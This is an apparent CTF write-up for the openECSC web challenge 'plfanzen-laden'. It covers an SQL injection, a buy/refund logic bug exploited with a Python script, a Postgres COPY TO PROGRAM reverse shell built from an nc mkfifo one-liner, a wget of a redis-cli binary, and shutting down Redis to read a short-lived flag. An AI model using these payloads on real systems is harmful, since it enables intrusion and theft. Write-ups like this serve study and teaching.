# plfanzen-laden
## Source code
The source is really huge so I just summarize that here :
1. Api server
2. Postgres server
3. Redis server
4. Front end server
## Analyze
First of all because the big source, so i decided to find the **flag** first.
```js
main.js
// πππ
console.log("SETTING FLAG !!!!")
await client.set("FLAG_" + uid(20), Deno.env.get("FLAG") ?? "openECSC{123}", {
EX: 15,
});
```
Okay , so the flag is set into the redis server and just 15 seconds ??? How the f\*ck we can get it :v .
So then I starting to scan some point using the client redis but it seems nothing interesting ? So how can we win this anymore ....
## Find more what we can do
- So lets read the API it provides .
Its a simple market server when we can put stuff into cart , buy stuff, refund and review.
We can quickly see that to create a review , we need a **Premium role** , and to achieve that we must have up to 1e50 dollars !!
```js
const premiumFee = 100000000000000000000000000000000000000000000000000n;
router.post("/elevate", async (ctx) => {
const user = ctx.state.user;
if (!(user.balance > premiumFee)) {
badRequest(ctx.response, { error: "poor" });
return;
}
const U = users(ctx.state.client);
await U.decreaseBalance(user.id, Number(premiumFee));
await ctx.state.client
.queryObject`UPDATE users SET premium = true WHERE id = ${user.id}`;
ctx.response.body = { ok: true, message: "Profile elevated πΈπΈπΈ" };
});
```
But do we realy using this role ? Yes !! After digging in the Review.update there's a **SQLI injection** !!
```js
const update = async (
userId: number,
productId: number,
description: string,
stars: number,
) => {
const res = await client.queryObject<ReviewDB>(`
UPDATE reviews
SET description = ${description}, stars = ${stars}
WHERE user_id = ${userId} AND product_id = ${productId}
RETURNING *;
`);
if (!res.rows[0]) return undefined;
return mapDbToReview(res.rows[0]);
};
```
*Its really hidden when first time read through and i must use gpt to scan that :v*
The right code must be \`\` not (\`\`) :))
So try to find some logic bugs in the app to achieve the money !!!
After that I see there's a revenge challenge, so I just check the source and find the bug is at :
```js
async buyProduct(
user: UserPublic,
productId: number,
quantity: number | string,
) {
const U = users(this.client);
const P = products(this.client);
quantity = parseInt(quantity as string); // πππ
const product = await P.findById(productId);
if (!product) {
return;
}
if (product.quantity < quantity) {
return;
}
await U.decreaseBalance(user.id, product.price * quantity);
await P.decreaseQuantity(product.id, quantity);
const uP = userProducts(this.client);
// SHOULD BE
// await uP.add(user.id, product.id, quantity);
await uP.add(user.id, product.id, product.quantity);
}
```
- So its really easy for us to get super many money by just repeating "buy and refund" using the market server :v
Here's the script for that :
```python
import requests
import threading
url = 'http://localhost:3000'
creds = {
"username" : "hibby",
"email" : "hix@gmail.com",
"password" : "hibby",
}
s= requests.Session()
# AUTH
def register() :
res = s.post(url+'/auth/signup',json=creds)
def login() :
res = s.post(url+'/auth/login',json=creds)
print(res.text)
# Cart
def getCart() :
res = s.get(url+'/cart')
return res.text
def clearCart() :
res = s.post(url+'/cart/clear')
return res.text
def checkOut() :
res = s.post(url+'/cart/checkout')
return res.text
def buy(id) :
data= {
"quantity":10
}
res = s.post(url+'/cart/'+str(id),json=data)
return res.text
# Products
def getProducts () :
res = s.get(url+'/products')
return res.text
def getMine () :
res = s.get(url+'/products/mine')
return res.text
def getProdById(id) :
res = s.get(url+'/products/'+str(id))
return res.text
def buyUseMkService(id,quantity) :
data = {
"quantity" : quantity
}
res = s.post(url+f'/products/{id}/buy',json=data)
return res.text
def buyAllUseMkService(id) :
res = s.post(url+f'/products/{id}/buy-all')
return res.text
def getRefundAllById(id) :
res = s.post(url+f'/products/{id}/refund-all')
return res.text
def getRefundById(id,quantity) :
data = {"quantity" : quantity}
res = s.post(url+f'/products/{id}/refund',json=data)
return res.text
# User
def getMe() :
res= s.get(url+'/users/me')
return res.text
def getRole() :
res= s.post(url+'/users/elevate')
return res.text
def getBlance():
res = s.get(url+'/users/me')
print(res.json())
return int(res.json().get("balance"))
# Reviews
def getReviewsId(uid) :
res = s.get(url+'/reviews/product/'+str(uid))
return res.text
def getMineReviews() :
res = s.get(url+'/reviews/mine')
return res.text
# Main
register()
login()
print(getMine())
balance = getBlance()
premiumFee = 100000000000000000000000000000000000000000000000000
print(buyUseMkService(1,int(1)))
def getPremium():
print(getProdById(1))
while 1:
res = buyUseMkService(1,int(1))
print(res)
print(getRefundAllById(1))
getBlance()
```
After a while we will achieve 1e50 now !!
# Sqli to rce
After we can have sqli here ,I dont see anything useful to leak so I decide to get reverse shell from the postgres server now ...
```sql
COPY (SELECT '') to PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc HOST PORT >/tmp/f';
```
## Interact with redis server
After having a reverse shell , I can easily interact with redis server because it's same network here !!!
Now my method to connect to redis is
```bash
wget https://github.com/phlummox-dev/redis-static-binaries/releases/download/6.2.5.0/redis-cli
chmod u+x redis.cli
./redis-cli -h valkey -p 6379
```

- Finally we can read the redis !!!
# How to get the flag ?
- Its seem impossible for us to read the flag in just 15s.
After digging a little bit I finally find the gadget
```python3
# πππ
HEALTHCHECK --interval=10s --start-period=10s --retries=3 \
CMD curl --max-time 15 -f http://localhost:3000 || pkill -9 deno
```
There's a hint here from author and i dont pay attention to that at first :v . So this health check will kill our app if it cannot curl the http://localhost:3000 in 15s . But luckily is the app having the **auto restart** defined in docker
```js
api:
restart: always
build: ./api
```
So how can we trigger the curl error ?
```js
router.get("/", async (ctx) => {
ctx.response.body = (await client.get("greeting")) ?? "hello there :)";
});
```
- It just simple read the text from redis and return . How can this get be slow up to 15s ? My first idea is to finding some point in the app can slow down but this code put first before anything at all ... so it seems impossible.
### But wait , we control the redis ?
So we just need to simple shut down the redis !!! and that redis will be turned on back by the api server !!!!
LOAD FLAG and we can read the flag now !
- So from the postgres reverse shell just do this :
```js
./redis-cli -h valkey -p 6379 shutdown
./redis-cli -h valkey -p 6379
Keys *
GET FLAGGGGG
```

Yeah its unintended and the revenge is too hard for me . Sorry for the race :( ...